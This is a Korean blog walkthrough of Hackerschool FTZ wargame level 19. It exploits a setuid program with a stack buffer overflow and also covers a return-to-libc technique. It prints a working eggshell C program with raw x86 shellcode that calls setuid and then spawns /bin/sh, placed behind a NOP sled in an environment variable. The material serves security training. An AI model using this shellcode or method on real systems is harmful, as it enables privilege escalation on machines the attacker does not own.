level19 --- swimming in pink
우선 level19의 디렉토리를 확인한다.
attackme라는 의심스러운 파일이 존재한다. attackme는 level20의 권한으 가지고 있고, setuid가 걸려있는 파일이다.
우리가 공격할 대상이 attackme일 가능성이 크다고 생각하고 hint를 보자.
버퍼 오버플로우를 잘 공부했다면 매우 쉬운 소스이다.
간단히 gdb로 분석한 뒤 버퍼 오버플로우를 통해 공격해보자.
hint 소스에는 간단히 char buf[20]을 통해서 0x14(20 byte)를 할당했는데, 실제로 0x28(40 byte)가 할당되어 있다.
어딘가에 20byte의 dummy 값이 존재하는 것이다.
gdb를 통해 메모리 구조를 확인했고 메모리 구조를 그려보면 아래와 같다.
환경변수에 쉘 코드를 작성하고, 44byte의 패딩 + shellcode의 주소를 입력하면 shell이 실행될 것이다.
우리가 예상한것처럼 공격에 성공하였다. 하지만 "id"를 통해 계정을 확인하니 계속 level19에 머물러있다.
왜냐하면 hint 소스에 setuid(3100, 3100) 소스가 적혀있지 않아 level19의 권한으로 쉘이 실행된 것이다.
따라서 setuid(3100, 3100)이 있는 쉘 코드를 작성해서 삽입해야한다.
아래 소스는 setuid(3100, 3100)이 포함되 eggshell 코드이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | /* * Author : superdk@hanmail.net * DATA : eggshell code * LICENSE : GNU License */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 0 #define DEFAULT_ADDR_SIZE 8 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_SUPERDK_SIZE 2048 #define NOP 0x90 // 배시셸을 실행시키는 셸코드 char shellcode[] = "\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\x31\xc0\xb0\x46\xcd\x80" "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"; // 스택포인터(SP) 를 가져오는 함수 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char **argv) { char *ptr, *superSH; char shAddr[DEFAULT_ADDR_SIZE + 1]; char cmdBuf[DEFAULT_BUFFER_SIZE]; long *addr_ptr, addr; int offset=DEFAULT_OFFSET; int i, supershLen=DEFAULT_SUPERDK_SIZE; int chgDec[3]; // 셸코드를 올릴 포인터 주소에 동적 메모리 할당 if ( !(superSH = malloc(supershLen)) ) { printf("Can't allocate memory for supershLen"); exit(0); } // 셸코드의 주소 읽어와서 화면에 출력 addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); // 셸코드 실행 확률을 높이기 위해서, 셸코드 앞에 충분한 NOP 추가 ptr = superSH; for(i = 0; i < supershLen - strlen(shellcode) - 1; i++) *(ptr++) = NOP; // NOP 뒤에 셸코드 추가 for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시 superSH[supershLen - 1] = '\0'; // SUPERDK 라는 환경변수명으로 셸코드를 환경 변수에 등록 memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE); putenv(superSH); // 새로운 배시셸 실행 system("/bin/bash"); } | cs |
위와 같이 level20의 권한을 얻을 수 있다.
RTL 공격
RTL 공격을 위해 간단한 예제로 부터 시작하자
1 2 3 4 | int main() { system("/bin/sh"); } | cs |
위 예제를 실행하면 쉘이 실행될 것이다.
그렇다면 어떻게 system() 함수의 인자로 "/bin/sh"가 전달되어 실행되는지 알아보자.
system 함수를 실행하기 직전에 메모리 구조를 그려보면 아래와 같다.
즉 우리가 RTL을 이용해 공격하고 싶으면 메모리 구조가 아래와 같이 만들어져야 한다.
system() 함수를 통해 "/bin/sh"를 실행시키기 위해서 system() 함수의 주소를 알아야한다.
system() 함수의 주소는 gdb를 통해서 알 수 있다.
다음과 같이 system() 함수의 주소를 알 수 있다.
"/bin/sh"도 메모리에 올려야하는데 이것은 환경변수를 이용하면 쉽게 메모리주소를 얻을 수 있다.
RTL 기법이 성공한것을 알 수 있다. 마찬가지로 setuid(3100, 3100)이 없기 때문에 level20의 권한으로 실행되지 않는다.
'Wargame > FTZ' 카테고리의 다른 글
| 해커스쿨 FTZ level20 (format stirng) (0) | 2018.08.05 |
|---|---|
| 해커스쿨 FTZ level18 (0) | 2018.08.05 |
| 해커스쿨 FTZ level17 (0) | 2018.08.04 |
| 해커스쿨 FTZ level16 (0) | 2018.08.04 |
| 해커스쿨 FTZ level15 (0) | 2018.08.04 |